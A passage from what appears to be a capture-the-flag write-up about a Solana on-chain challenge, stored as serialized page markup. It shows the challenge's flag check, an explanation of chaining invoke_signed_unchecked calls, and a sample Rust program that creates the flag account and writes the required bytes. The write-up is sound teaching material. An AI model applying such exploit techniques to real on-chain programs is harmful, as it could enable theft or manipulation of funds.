0x1337\n",{"type":22,"tag":118,"props":44734,"children":44735},{"class":120,"line":195},[44736,44740,44744,44748,44753,44757,44761,44765,44770,44774,44778,44782,44786,44790,44794,44798,44802,44807,44811],{"type":22,"tag":118,"props":44737,"children":44738},{"style":210},[44739],{"type":28,"value":2682},{"type":22,"tag":118,"props":44741,"children":44742},{"style":131},[44743],{"type":28,"value":583},{"type":22,"tag":118,"props":44745,"children":44746},{"style":210},[44747],{"type":28,"value":1190},{"type":22,"tag":118,"props":44749,"children":44750},{"style":532},[44751],{"type":28,"value":44752},"from_le_bytes",{"type":22,"tag":118,"props":44754,"children":44755},{"style":125},[44756],{"type":28,"value":540},{"type":22,"tag":118,"props":44758,"children":44759},{"style":204},[44760],{"type":28,"value":44624},{"type":22,"tag":118,"props":44762,"children":44763},{"style":210},[44764],{"type":28,"value":292},{"type":22,"tag":118,"props":44766,"children":44767},{"style":125},[44768],{"type":28,"value":44769},"data[",{"type":22,"tag":118,"props":44771,"children":44772},{"style":210},[44773],{"type":28,"value":5079},{"type":22,"tag":118,"props":44775,"children":44776},{"style":674},[44777],{"type":28,"value":6090},{"type":22,"tag":118,"props":44779,"children":44780},{"style":125},[44781],{"type":28,"value":17386},{"type":22,"tag":118,"props":44783,"children":44784},{"style":210},[44785],{"type":28,"value":292},{"type":22,"tag":118,"props":44787,"children":44788},{"style":532},[44789],{"type":28,"value":28104},{"type":22,"tag":118,"props":44791,"children":44792},{"style":125},[44793],{"type":28,"value":1200},{"type":22,"tag":118,"props":44795,"children":44796},{"style":210},[44797],{"type":28,"value":292},{"type":22,"tag":118,"props":44799,"children":44800},{"style":532},[44801],{"type":28,"value":5679},{"type":22,"tag":118,"props":44803,"children":44804},{"style":125},[44805],{"type":28,"value":44806},"()) ",{"type":22,"tag":118,"props":44808,"children":44809},{"style":210},[44810],{"type":28,"value":302},{"type":22,"tag":118,"props":44812,"children":44813},{"style":674},[44814],{"type":28,"value":44815}," 0x4337\n",{"type":22,"tag":118,"props":44817,"children":44818},{"class":120,"line":244},[44819],{"type":22,"tag":118,"props":44820,"children":44821},{"style":125},[44822],{"type":28,"value":31125},{"type":22,"tag":118,"props":44824,"children":44825},{"class":120,"line":253},[44826,44831,44835,44839,44843,44848,44852,44856],{"type":22,"tag":118,"props":44827,"children":44828},{"style":532},[44829],{"type":28,"value":44830},"        writeln!",{"type":22,"tag":118,"props":44832,"children":44833},{"style":125},[44834],{"type":28,"value":540},{"type":22,"tag":118,"props":44836,"children":44837},{"style":204},[44838],{"type":28,"value":43878},{"type":22,"tag":118,"props":44840,"children":44841},{"style":125},[44842],{"type":28,"value":231},{"type":22,"tag":118,"props":44844,"children":44845},{"style":1866},[44846],{"type":28,"value":44847},"\"congrats!\"",{"type":22,"tag":118,"props":44849,"children":44850},{"style":125},[44851],{"type":28,"value":3627},{"type":22,"tag":118,"props":44853,"children":44854},{"style":210},[44855],{"type":28,"value":796},{"type":22,"tag":118,"props":44857,"children":44858},{"style":125},[44859],{"type":28,"value":801},{"type":22,"tag":118,"props":44861,"children":44862},{"class":120,"line":263},[44863,44867,44871,44875,44879,44883,44887,44891,44896,44900,44904,44908,44912],{"type":22,"tag":118,"props":44864,"children":44865},{"style":1480},[44866],{"type":28,"value":5293},{"type":22,"tag":118,"props":44868,"children":44869},{"style":146},[44870],{"type":28,"value":29246},{"type":22,"tag":118,"props":44872,"children":44873},{"style":131},[44874],{"type":28,"value":2457},{"type":22,"tag":118,"props":44876,"children":44877},{"style":125},[44878],{"type":28,"value":540},{"type":22,"tag":118,"props":44880,"children":44881},{"style":204},[44882],{"type":28,"value":44671},{"type":22,"tag":118,"props":44884,"children":44885},{"style":125},[44886],{"type":28,"value":588},{"type":22,"tag":118,"props":44888,"children":44889},{"style":210},[44890],{"type":28,"value":282},{"type":22,"tag":118,"props":44892,"children":44893},{"style":125},[44894],{"type":28,"value":44895}," env",{"type":22,"tag":118,"props":44897,"children":44898},{"style":210},[44899],{"type":28,"value":1190},{"type":22,"tag":118,"props":44901,"children":44902},{"style":532},[44903],{"type":28,"value":36987},{"type":22,"tag":118,"props":44905,"children":44906},{"style":125},[44907],{"type":28,"value":540},{"type":22,"tag":118,"props":44909,"children":44910},{"style":1866},[44911],{"type":28,"value":44562},{"type":22,"tag":118,"props":44913,"children":44914},{"style":125},[44915],{"type":28,"value":16783},{"type":22,"tag":118,"props":44917,"children":44918},{"class":120,"line":318},[44919,44924,44928,44932,44936,44941,44945,44949,44953,44957],{"type":22,"tag":118,"props":44920,"children":44921},{"style":532},[44922],{"type":28,"value":44923},"            writeln!",{"type":22,"tag":118,"props":44925,"children":44926},{"style":125},[44927],{"type":28,"value":540},{"type":22,"tag":118,"props":44929,"children":44930},{"style":204},[44931],{"type":28,"value":43878},{"type":22,"tag":118,"props":44933,"children":44934},{"style":125},[44935],{"type":28,"value":231},{"type":22,"tag":118,"props":44937,"children":44938},{"style":1866},[44939],{"type":28,"value":44940},"\"flag: {:?}\"",{"type":22,"tag":118,"props":44942,"children":44943},{"style":125},[44944],{"type":28,"value":231},{"type":22,"tag":118,"props":44946,"children":44947},{"style":204},[44948],{"type":28,"value":44671},{"type":22,"tag":118,"props":44950,"children":44951},{"style":125},[44952],{"type":28,"value":3627},{"type":22,"tag":118,"props":44954,"children":44955},{"style":210},[44956],{"type":28,"value":796},{"type":22,"tag":118,"props":44958,"children":44959},{"style":125},[44960],{"type":28,"value":801},{"type":22,"tag":118,"props":44962,"children":44963},{"class":120,"line":351},[44964,44968,44972],{"type":22,"tag":118,"props":44965,"children":44966},{"style":125},[44967],{"type":28,"value":5330},{"type":22,"tag":118,"props":44969,"children":44970},{"style":1480},[44971],{"type":28,"value":5335},{"type":22,"tag":118,"props":44973,"children":44974},{"style":125},[44975],{"type":28,"value":1474},{"type":22,"tag":118,"props":44977,"children":44978},{"class":120,"line":359},[44979,44983,44987,44991,44995,45000,45004,45008],{"type":22,"tag":118,"props":44980,"children":44981},{"style":532},[44982],{"type":28,"value":44923},{"type":22,"tag":118,"props":44984,"children":44985},{"style":125},[44986],{"type":28,"value":540},{"type":22,"tag":118,"props":44988,"children":44989},{"style":204},[44990],{"type":28,"value":43878},{"type":22,"tag":118,"props":44992,"children":44993},{"style":125},[44994],{"type":28,"value":231},{"type":22,"tag":118,"props":44996,"children":44997},{"style":1866},[44998],{"type":28,"value":44999},"\"flag not found, please contact admin\"",{"type":22,"tag":118,"props":45001,"children":45002},{"style":125},[45003],{"type":28,"value":3627},{"type":22,"tag":118,"props":45005,"children":45006},{"style":210},[45007],{"type":28,"value":796},{"type":22,"tag":118,"props":45009,"children":45010},{"style":125},[45011],{"type":28,"value":801},{"type":22,"tag":118,"props":45013,"children":45014},{"class":120,"line":368},[45015],{"type":22,"tag":118,"props":45016,"children":45017},{"style":125},[45018],{"type":28,"value":1835},{"type":22,"tag":118,"props":45020,"children":45021},{"class":120,"line":384},[45022],{"type":22,"tag":118,"props":45023,"children":45024},{"style":125},[45025],{"type":28,"value":1254},{"type":22,"tag":118,"props":45027,"children":45028},{"class":120,"line":417},[45029],{"type":22,"tag":118,"props":45030,"children":45031},{"style":125},[45032],{"type":28,"value":481},{"type":22,"tag":23,"props":45034,"children":45036},{"id":45035},"solution-idea",[45037],{"type":28,"value":45038},"Solution Idea",{"type":22,"tag":31,"props":45040,"children":45041},{},[45042,45044,45049],{"type":28,"value":45043},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":22,"tag":114,"props":45045,"children":45047},{"className":45046},[],[45048],{"type":28,"value":37622},{"type":28,"value":45050}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":22,"tag":31,"props":45052,"children":45053},{},[45054,45056,45062],{"type":28,"value":45055},"In order to get the flag, we need to make sure that the account at ",{"type":22,"tag":114,"props":45057,"children":45059},{"className":45058},[],[45060],{"type":28,"value":45061},"PDA(\"FLAG\")",{"type":28,"value":45063}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":22,"tag":31,"props":45065,"children":45066},{},[45067,45069,45076],{"type":28,"value":45068},"Essentially, we need to ",{"type":22,"tag":42,"props":45070,"children":45073},{"href":45071,"rel":45072},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[46],[45074],{"type":28,"value":45075},"invoke the System Program",{"type":28,"value":45077},", and write controlled data into the newly created account.",{"type":22,"tag":31,"props":45079,"children":45080},{},[45081],{"type":28,"value":45082},"A sample program that does this is as follows:",{"type":22,"tag":107,"props":45084,"children":45086},{"className":109,"code":45085,"language":111,"meta":7,"style":7},"pub fn process_instruction(\n    program_id: &Pubkey,\n    accounts: &[AccountInfo],\n    data: &[u8]\n) -> ProgramResult {\n    let flag_pda_ai = &accounts[0];\n    let user_ai = &accounts[1];\n\n    // Step 1: Create a new account with 0x1337 bytes of data\n    let instruction = Instruction::new_with_bincode(\n        system_program::ID,\n        &SystemInstruction::CreateAccount {\n            space: 0x1337,\n            lamports: Rent::default().minimum_balance(0x1337),\n            owner: chall::ID\n        },\n        vec![\n            AccountMeta::new(*user_ai.key, true),\n            AccountMeta::new(*flag_pda_ai.key, true),\n        ],\n    );\n    invoke_signed_unchecked(\n        &instruction,\n        &[\n            user_ai.clone(),\n            flag_pda_ai.clone(),\n        ],\n        &[&[\"FLAG\".as_ref()]],\n    )?;\n\n    // Step 2: Write 0x4337 to the first 8 bytes of the account\n    flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n    Ok(())\n}\n",[45087],{"type":22,"tag":114,"props":45088,"children":45089},{"__ignoreMap":7},[45090,45110,45134,45162,45190,45210,45246,45282,45289,45297,45330,45347,45372,45393,45444,45469,45476,45489,45535,45579,45587,45595,45606,45622,45633,45653,45673,45680,45716,45731,45738,45746,45825,45832,45843],{"type":22,"tag":118,"props":45091,"children":45092},{"class":120,"line":121},[45093,45097,45101,45106],{"type":22,"tag":118,"props":45094,"children":45095},{"style":146},[45096],{"type":28,"value":149},{"type":22,"tag":118,"props":45098,"children":45099},{"style":146},[45100],{"type":28,"value":529},{"type":22,"tag":118,"props":45102,"children":45103},{"style":532},[45104],{"type":28,"value":45105}," process_instruction",{"type":22,"tag":118,"props":45107,"children":45108},{"style":125},[45109],{"type":28,"value":696},{"type":22,"tag":118,"props":45111,"children":45112},{"class":120,"line":142},[45113,45118,45122,45126,45130],{"type":22,"tag":118,"props":45114,"children":45115},{"style":204},[45116],{"type":28,"value":45117},"    program_id",{"type":22,"tag":118,"props":45119,"children":45120},{"style":210},[45121],{"type":28,"value":213},{"type":22,"tag":118,"props":45123,"children":45124},{"style":210},[45125],{"type":28,"value":1430},{"type":22,"tag":118,"props":45127,"children":45128},{"style":131},[45129],{"type":28,"value":2892},{"type":22,"tag":118,"props":45131,"children":45132},{"style":125},[45133],{"type":28,"value":782},{"type":22,"tag":118,"props":45135,"children":45136},{"class":120,"line":177},[45137,45142,45146,45150,45154,45158],{"type":22,"tag":118,"props":45138,"children":45139},{"style":204},[45140],{"type":28,"value":45141},"    accounts",{"type":22,"tag":118,"props":45143,"children":45144},{"style":210},[45145],{"type":28,"value":213},{"type":22,"tag":118,"props":45147,"children":45148},{"style":210},[45149],{"type":28,"value":1430},{"type":22,"tag":118,"props":45151,"children":45152},{"style":125},[45153],{"type":28,"value":5746},{"type":22,"tag":118,"props":45155,"children":45156},{"style":131},[45157],{"type":28,"value":3028},{"type":22,"tag":118,"props":45159,"children":45160},{"style":125},[45161],{"type":28,"value":16245},{"type":22,"tag":118,"props":45163,"children":45164},{"class":120,"line":195},[45165,45170,45174,45178,45182,45186],{"type":22,"tag":118,"props":45166,"children":45167},{"style":204},[45168],{"type":28,"value":45169},"    data",{"type":22,"tag":118,"props":45171,"children":45172},{"style":210},[45173],{"type":28,"value":213},{"type":22,"tag":118,"props":45175,"children":45176},{"style":210},[45177],{"type":28,"value":1430},{"type":22,"tag":118,"props":45179,"children":45180},{"style":125},[45181],{"type":28,"value":5746},{"type":22,"tag":118,"props":45183,"children":45184},{"style":131},[45185],{"type":28,"value":5439},{"type":22,"tag":118,"props":45187,"children":45188},{"style":125},[45189],{"type":28,"value":13772},{"type":22,"tag":118,"props":45191,"children":45192},{"class":120,"line":244},[45193,45197,45201,45206],{"type":22,"tag":118,"props":45194,"children":45195},{"style":125},[45196],{"type":28,"value":588},{"type":22,"tag":118,"props":45198,"children":45199},{"style":210},[45200],{"type":28,"value":593},{"type":22,"tag":118,"props":45202,"children":45203},{"style":131},[45204],{"type":28,"value":45205}," ProgramResult",{"type":22,"tag":118,"props":45207,"children":45208},{"style":125},[45209],{"type":28,"value":1474},{"type":22,"tag":118,"props":45211,"children":45212},{"class":120,"line":253},[45213,45217,45222,45226,45230,45234,45238,45242],{"type":22,"tag":118,"props":45214,"children":45215},{"style":146},[45216],{"type":28,"value":4152},{"type":22,"tag":118,"props":45218,"children":45219},{"style":204},[45220],{"type":28,"value":45221}," flag_pda_ai",{"type":22,"tag":118,"props":45223,"children":45224},{"style":210},[45225],{"type":28,"value":837},{"type":22,"tag":118,"props":45227,"children":45228},{"style":210},[45229],{"type":28,"value":1430},{"type":22,"tag":118,"props":45231,"children":45232},{"style":204},[45233],{"type":28,"value":648},{"type":22,"tag":118,"props":45235,"children":45236},{"style":125},[45237],{"type":28,"value":5746},{"type":22,"tag":118,"props":45239,"children":45240},{"style":674},[45241],{"type":28,"value":6036},{"type":22,"tag":118,"props":45243,"children":45244},{"style":125},[45245],{"type":28,"value":33513},{"type":22,"tag":118,"props":45247,"children":45248},{"class":120,"line":263},[45249,45253,45258,45262,45266,45270,45274,45278],{"type":22,"tag":118,"props":45250,"children":45251},{"style":146},[45252],{"type":28,"value":4152},{"type":22,"tag":118,"props":45254,"children":45255},{"style":204},[45256],{"type":28,"value":45257}," user_ai",{"type":22,"tag":118,"props":45259,"children":45260},{"style":210},[45261],{"type":28,"value":837},{"type":22,"tag":118,"props":45263,"children":45264},{"style":210},[45265],{"type":28,"value":1430},{"type":22,"tag":118,"props":45267,"children":45268},{"style":204},[45269],{"type":28,"value":648},{"type":22,"tag":118,"props":45271,"children":45272},{"style":125},[45273],{"type":28,"value":5746},{"type":22,"tag":118,"props":45275,"children":45276},{"style":674},[45277],{"type":28,"value":6026},{"type":22,"tag":118,"props":45279,"children":45280},{"style":125},[45281],{"type":28,"value":33513},{"type":22,"tag":118,"props":45283,"children":45284},{"class":120,"line":318},[45285],{"type":22,"tag":118,"props":45286,"children":45287},{"emptyLinePlaceholder":15},[45288],{"type":28,"value":250},{"type":22,"tag":118,"props":45290,"children":45291},{"class":120,"line":351},[45292],{"type":22,"tag":118,"props":45293,"children":45294},{"style":257},[45295],{"type":28,"value":45296},"    // Step 1: Create a new account with 0x1337 bytes of data\n",{"type":22,"tag":118,"props":45298,"children":45299},{"class":120,"line":359},[45300,45304,45309,45313,45317,45321,45326],{"type":22,"tag":118,"props":45301,"children":45302},{"style":146},[45303],{"type":28,"value":4152},{"type":22,"tag":118,"props":45305,"children":45306},{"style":204},[45307],{"type":28,"value":45308}," instruction",{"type":22,"tag":118,"props":45310,"children":45311},{"style":210},[45312],{"type":28,"value":837},{"type":22,"tag":118,"props":45314,"children":45315},{"style":131},[45316],{"type":28,"value":42951},{"type":22,"tag":118,"props":45318,"children":45319},{"style":210},[45320],{"type":28,"value":1190},{"type":22,"tag":118,"props":45322,"children":45323},{"style":532},[45324],{"type":28,"value":45325},"new_with_bincode",{"type":22,"tag":118,"props":45327,"children":45328},{"style":125},[45329],{"type":28,"value":696},{"type":22,"tag":118,"props":45331,"children":45332},{"class":120,"line":368},[45333,45338,45342],{"type":22,"tag":118,"props":45334,"children":45335},{"style":125},[45336],{"type":28,"value":45337},"        system_program",{"type":22,"tag":118,"props":45339,"children":45340},{"style":210},[45341],{"type":28,"value":1190},{"type":22,"tag":118,"props":45343,"children":45344},{"style":125},[45345],{"type":28,"value":45346},"ID,\n",{"type":22,"tag":118,"props":45348,"children":45349},{"class":120,"line":384},[45350,45354,45359,45363,45368],{"type":22,"tag":118,"props":45351,"children":45352},{"style":210},[45353],{"type":28,"value":5488},{"type":22,"tag":118,"props":45355,"children":45356},{"style":125},[45357],{"type":28,"value":45358},"SystemInstruction",{"type":22,"tag":118,"props":45360,"children":45361},{"style":210},[45362],{"type":28,"value":1190},{"type":22,"tag":118,"props":45364,"children":45365},{"style":131},[45366],{"type":28,"value":45367},"CreateAccount",{"type":22,"tag":118,"props":45369,"children":45370},{"style":125},[45371],{"type":28,"value":1474},{"type":22,"tag":118,"props":45373,"children":45374},{"class":120,"line":417},[45375,45380,45384,45389],{"type":22,"tag":118,"props":45376,"children":45377},{"style":204},[45378],{"type":28,"value":45379},"            space",{"type":22,"tag":118,"props":45381,"children":45382},{"style":210},[45383],{"type":28,"value":213},{"type":22,"tag":118,"props":45385,"children":45386},{"style":674},[45387],{"type":28,"value":45388}," 0x1337",{"type":22,"tag":118,"props":45390,"children":45391},{"style":125},[45392],{"type":28,"value":782},{"type":22,"tag":118,"props":45394,"children":45395},{"class":120,"line":425},[45396,45401,45405,45409,45413,45418,45422,45426,45431,45435,45440],{"type":22,"tag":118,"props":45397,"children":45398},{"style":204},[45399],{"type":28,"value":45400},"            lamports",{"type":22,"tag":118,"props":45402,"children":45403},{"style":210},[45404],{"type":28,"value":213},{"type":22,"tag":118,"props":45406,"children":45407},{"style":125},[45408],{"type":28,"value":3162},{"type":22,"tag":118,"props":45410,"children":45411},{"style":210},[45412],{"type":28,"value":1190},{"type":22,"tag":118,"props":45414,"children":45415},{"style":532},[45416],{"type":28,"value":45417},"default",{"type":22,"tag":118,"props":45419,"children":45420},{"style":125},[45421],{"type":28,"value":1200},{"type":22,"tag":118,"props":45423,"children":45424},{"style":210},[45425],{"type":28,"value":292},{"type":22,"tag":118,"props":45427,"children":45428},{"style":532},[45429],{"type":28,"value":45430},"minimum_balance",{"type":22,"tag":118,"props":45432,"children":45433},{"style":125},[45434],{"type":28,"value":540},{"type":22,"tag":118,"props":45436,"children":45437},{"style":674},[45438],{"type":28,"value":45439},"0x1337",{"type":22,"tag":118,"props":45441,"children":45442},{"style":125},[45443],{"type":28,"value":3853},{"type":22,"tag":118,"props":45445,"children":45446},{"class":120,"line":441},[45447,45452,45456,45460,45464],{"type":22,"tag":118,"props":45448,"children":45449},{"style":204},[45450],{"type":28,"value":45451},"            owner",{"type":22,"tag":118,"props":45453,"children":45454},{"style":210},[45455],{"type":28,"value":213},{"type":22,"tag":118,"props":45457,"children":45458},{"style":125},[45459],{"type":28,"value":43983},{"type":22,"tag":118,"props":45461,"children":45462},{"style":210},[45463],{"type":28,"value":1190},{"type":22,"tag":118,"props":45465,"children":45466},{"style":125},[45467],{"type":28,"value":45468},"ID\n",{"type":22,"tag":118,"props":45470,"children":45471},{"class":120,"line":475},[45472],{"type":22,"tag":118,"props":45473,"children":45474},{"style":125},[45475],{"type":28,"value":27317},{"type":22,"tag":118,"props":45477,"children":45478},{"class":120,"line":484},[45479,45484],{"type":22,"tag":118,"props":45480,"children":45481},{"style":532},[45482],{"type":28,"value":45483},"        vec!",{"type":22,"tag":118,"props":45485,"children":45486},{"style":125},[45487],{"type":28,"value":45488},"[\n",{"type":22,"tag":118,"props":45490,"children":45491},{"class":120,"line":492},[45492,45497,45501,45505,45509,45513,45518,45522,45527,45531],{"type":22,"tag":118,"props":45493,"children":45494},{"style":125},[45495],{"type":28,"value":45496},"            AccountMeta",{"type":22,"tag":118,"props":45498,"children":45499},{"style":210},[45500],{"type":28,"value":1190},{"type":22,"tag":118,"props":45502,"children":45503},{"style":532},[45504],{"type":28,"value":4256},{"type":22,"tag":118,"props":45506,"children":45507},{"style":125},[45508],{"type":28,"value":540},{"type":22,"tag":118,"props":45510,"children":45511},{"style":210},[45512],{"type":28,"value":671},{"type":22,"tag":118,"props":45514,"children":45515},{"style":204},[45516],{"type":28,"value":45517},"user_ai",{"type":22,"tag":118,"props":45519,"children":45520},{"style":210},[45521],{"type":28,"value":292},{"type":22,"tag":118,"props":45523,"children":45524},{"style":125},[45525],{"type":28,"value":45526},"key, ",{"type":22,"tag":118,"props":45528,"children":45529},{"style":146},[45530],{"type":28,"value":6007},{"type":22,"tag":118,"props":45532,"children":45533},{"style":125},[45534],{"type":28,"value":3853},{"type":22,"tag":118,"props":45536,"children":45537},{"class":120,"line":501},[45538,45542,45546,45550,45554,45558,45563,45567,45571,45575],{"type":22,"tag":118,"props":45539,"children":45540},{"style":125},[45541],{"type":28,"value":45496},{"type":22,"tag":118,"props":45543,"children":45544},{"style":210},[45545],{"type":28,"value":1190},{"type":22,"tag":118,"props":45547,"children":45548},{"style":532},[45549],{"type":28,"value":4256},{"type":22,"tag":118,"props":45551,"children":45552},{"style":125},[45553],{"type":28,"value":540},{"type":22,"tag":118,"props":45555,"children":45556},{"style":210},[45557],{"type":28,"value":671},{"type":22,"tag":118,"props":45559,"children":45560},{"style":204},[45561],{"type":28,"value":45562},"flag_pda_ai",{"type":22,"tag":118,"props":45564,"children":45565},{"style":210},[45566],{"type":28,"value":292},{"type":22,"tag":118,"props":45568,"children":45569},{"style":125},[45570],{"type":28,"value":45526},{"type":22,"tag":118,"props":45572,"children":45573},{"style":146},[45574],{"type":28,"value":6007},{"type":22,"tag":118,"props":45576,"children":45577},{"style":125},[45578],{"type":28,"value":3853},{"type":22,"tag":118,"props":45580,"children":45581},{"class":120,"line":519},[45582],{"type":22,"tag":118,"props":45583,"children":45584},{"style":125},[45585],{"type":28,"value":45586},"        ],\n",{"type":22,"tag":118,"props":45588,"children":45589},{"class":120,"line":606},[45590],{"type":22,"tag":118,"props":45591,"children":45592},{"style":125},[45593],{"type":28,"value":45594},"    );\n",{"type":22,"tag":118,"props":45596,"children":45597},{"class":120,"line":615},[45598,45602],{"type":22,"tag":118,"props":45599,"children":45600},{"style":532},[45601],{"type":28,"value":43068},{"type":22,"tag":118,"props":45603,"children":45604},{"style":125},[45605],{"type":28,"value":696},{"type":22,"tag":118,"props":45607,"children":45608},{"class":120,"line":685},[45609,45613,45618],{"type":22,"tag":118,"props":45610,"children":45611},{"style":210},[45612],{"type":28,"value":5488},{"type":22,"tag":118,"props":45614,"children":45615},{"style":204},[45616],{"type":28,"value":45617},"instruction",{"type":22,"tag":118,"props":45619,"children":45620},{"style":125},[45621],{"type":28,"value":782},{"type":22,"tag":118,"props":45623,"children":45624},{"class":120,"line":699},[45625,45629],{"type":22,"tag":118,"props":45626,"children":45627},{"style":210},[45628],{"type":28,"value":5488},{"type":22,"tag":118,"props":45630,"children":45631},{"style":125},[45632],{"type":28,"value":45488},{"type":22,"tag":118,"props":45634,"children":45635},{"class":120,"line":729},[45636,45641,45645,45649],{"type":22,"tag":118,"props":45637,"children":45638},{"style":204},[45639],{"type":28,"value":45640},"            user_ai",{"type":22,"tag":118,"props":45642,"children":45643},{"style":210},[45644],{"type":28,"value":292},{"type":22,"tag":118,"props":45646,"children":45647},{"style":532},[45648],{"type":28,"value":4180},{"type":22,"tag":118,"props":45650,"children":45651},{"style":125},[45652],{"type":28,"value":768},{"type":22,"tag":118,"props":45654,"children":45655},{"class":120,"line":771},[45656,45661,45665,45669],{"type":22,"tag":118,"props":45657,"children":45658},{"style":204},[45659],{"type":28,"value":45660},"            flag_pda_ai",{"type":22,"tag":118,"props":45662,"children":45663},{"style":210},[45664],{"type":28,"value":292},{"type":22,"tag":118,"props":45666,"children":45667},{"style":532},[45668],{"type":28,"value":4180},{"type":22,"tag":118,"props":45670,"children":45671},{"style":125},[45672],{"type":28,"value":768},{"type":22,"tag":118,"props":45674,"children":45675},{"class":120,"line":785},[45676],{"type":22,"tag":118,"props":45677,"children":45678},{"style":125},[45679],{"type":28,"value":45586},{"type":22,"tag":118,"props":45681,"children":45682},{"class":120,"line":804},[45683,45687,45691,45695,45699,45703,45707,45711],{"type":22,"tag":118,"props":45684,"children":45685},{"style":210},[45686],{"type":28,"value":5488},{"type":22,"tag":118,"props":45688,"children":45689},{"style":125},[45690],{"type":28,"value":5746},{"type":22,"tag":118,"props":45692,"children":45693},{"style":210},[45694],{"type":28,"value":1407},{"type":22,"tag":118,"props":45696,"children":45697},{"style":125},[45698],{"type":28,"value":5746},{"type":22,"tag":118,"props":45700,"children":45701},{"style":1866},[45702],{"type":28,"value":44562},{"type":22,"tag":118,"props":45704,"children":45705},{"style":210},[45706],{"type":28,"value":292},{"type":22,"tag":118,"props":45708,"children":45709},{"style":532},[45710],{"type":28,"value":44571},{"type":22,"tag":118,"props":45712,"children":45713},{"style":125},[45714],{"type":28,"value":45715},"()]],\n",{"type":22,"tag":118,"props":45717,"children":45718},{"class":120,"line":812},[45719,45723,45727],{"type":22,"tag":118,"props":45720,"children":45721},{"style":125},[45722],{"type":28,"value":5670},{"type":22,"tag":118,"props":45724,"children":45725},{"style":210},[45726],{"type":28,"value":796},{"type":22,"tag":118,"props":45728,"children":45729},{"style":125},[45730],{"type":28,"value":801},{"type":22,"tag":118,"props":45732,"children":45733},{"class":120,"line":821},[45734],{"type":22,"tag":118,"props":45735,"children":45736},{"emptyLinePlaceholder":15},[45737],{"type":28,"value":250},{"type":22,"tag":118,"props":45739,"children":45740},{"class":120,"line":900},[45741],{"type":22,"tag":118,"props":45742,"children":45743},{"style":257},[45744],{"type":28,"value":45745},"    // Step 2: Write 0x4337 to the first 8 bytes of the account\n",{"type":22,"tag":118,"props":45747,"children":45748},{"class":120,"line":913},[45749,45754,45758,45762,45766,45770,45774,45778,45782,45786,45790,45795,45799,45803,45808,45812,45816,45821],{"type":22,"tag":118,"props":45750,"children":45751},{"style":204},[45752],{"type":28,"value":45753},"    flag_pda_ai",{"type":22,"tag":118,"props":45755,"children":45756},{"style":210},[45757],{"type":28,"value":292},{"type":22,"tag":118,"props":45759,"children":45760},{"style":532},[45761],{"type":28,"value":15859},{"type":22,"tag":118,"props":45763,"children":45764},{"style":125},[45765],{"type":28,"value":1200},{"type":22,"tag":118,"props":45767,"children":45768},{"style":210},[45769],{"type":28,"value":796},{"type":22,"tag":118,"props":45771,"children":45772},{"style":125},[45773],{"type":28,"value":5746},{"type":22,"tag":118,"props":45775,"children":45776},{"style":210},[45777],{"type":28,"value":5079},{"type":22,"tag":118,"props":45779,"children":45780},{"style":674},[45781],{"type":28,"value":6090},{"type":22,"tag":118,"props":45783,"children":45784},{"style":125},[45785],{"type":28,"value":17386},{"type":22,"tag":118,"props":45787,"children":45788},{"style":210},[45789],{"type":28,"value":292},{"type":22,"tag":118,"props":45791,"children":45792},{"style":532},[45793],{"type":28,"value":45794},"copy_from_slice",{"type":22,"tag":118,"props":45796,"children":45797},{"style":125},[45798],{"type":28,"value":540},{"type":22,"tag":118,"props":45800,"children":45801},{"style":210},[45802],{"type":28,"value":1407},{"type":22,"tag":118,"props":45804,"children":45805},{"style":674},[45806],{"type":28,"value":45807},"0x4337",{"type":22,"tag":118,"props":45809,"children":45810},{"style":131},[45811],{"type":28,"value":10046},{"type":22,"tag":118,"props":45813,"children":45814},{"style":210},[45815],{"type":28,"value":292},{"type":22,"tag":118,"props":45817,"children":45818},{"style":532},[45819],{"type":28,"value":45820},"to_le_bytes",{"type":22,"tag":118,"props":45822,"children":45823},{"style":125},[45824],{"type":28,"value":17399},{"type":22,"tag":118,"props":45826,"children":45827},{"class":120,"line":953},[45828],{"type":22,"tag":118,"props":45829,"children":45830},{"emptyLinePlaceholder":15},[45831],{"type":28,"value":250},{"type":22,"tag":118,"props":45833,"children":45834},{"class":120,"line":982},[45835,45839],{"type":22,"tag":118,"props":45836,"children":45837},{"style":131},[45838],{"type":28,"value":2542},{"type":22,"tag":118,"props":45840,"children":45841},{"style":125},[45842],{"type":28,"value":1245},{"type":22,"tag":118,"props":45844,"children":45845},{"class":120,"line":995},[45846],{"type":22,"tag":118,"props":45847,"children":45848},{"style":125},[45849],{"type":28,"value":481},{"type":22,"tag":31,"props":45851,"children":45852},{},[45853],{"type":28,"value":45854},"To test this theory, we can execute the program above inside the test environment, and see if we can get the flag:",{"type":22,"tag":31,"props":45856,"children":45857},{},[45858],{"type":22,"tag":5928,"props":45859,"children":45862},{"alt":45860,"src":45861},"Screenshot","/posts/jumping-around-in-the-vm/screenshot.png",[],{"type":22,"tag":31,"props":45864,"children":45865},{},[45866],{"type":28,"value":45867},"It works! Now we \"just\" need to find a way to execute the program above, by leveraging the single Instruction call to the program. This is easier said than done. The next section will dive into the details of the Solana VM to understand how we can achieve this.",{"type":22,"tag":23,"props":45869,"children":45871},{"id":45870},"solution-implementation",[45872],{"type":28,"value":45873},"Solution Implementation",{"type":22,"tag":31,"props":45875,"children":45876},{},[45877,45879,45884],{"type":28,"value":45878},"Now that we know what we need to do, let's look at how we can actually do it. We have to code the above program, by chaining together multiple ",{"type":22,"tag":114,"props":45880,"children":45882},{"className":45881},[],[45883],{"type":28,"value":37622},{"type":28,"value":45885}," invocations:",{"type":22,"tag":107,"props":45887,"children":45891},{"className":45888,"code":45889,"language":45890,"meta":7,"style":7},"language-mermaid shiki shiki-themes slack-dark","graph LR\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: gadget1]\n    C --> E[3: process]\n    E --> F[4: gadget2]\n    E --> G[...]\n","mermaid",[45892],{"type":22,"tag":114,"props":45893,"children":45894},{"__ignoreMap":7},[45895,45903,45911,45919,45927,45935,45943],{"type":22,"tag":118,"props":45896,"children":45897},{"class":120,"line":121},[45898],{"type":22,"tag":118,"props":45899,"children":45900},{},[45901],{"type":28,"value":45902},"graph 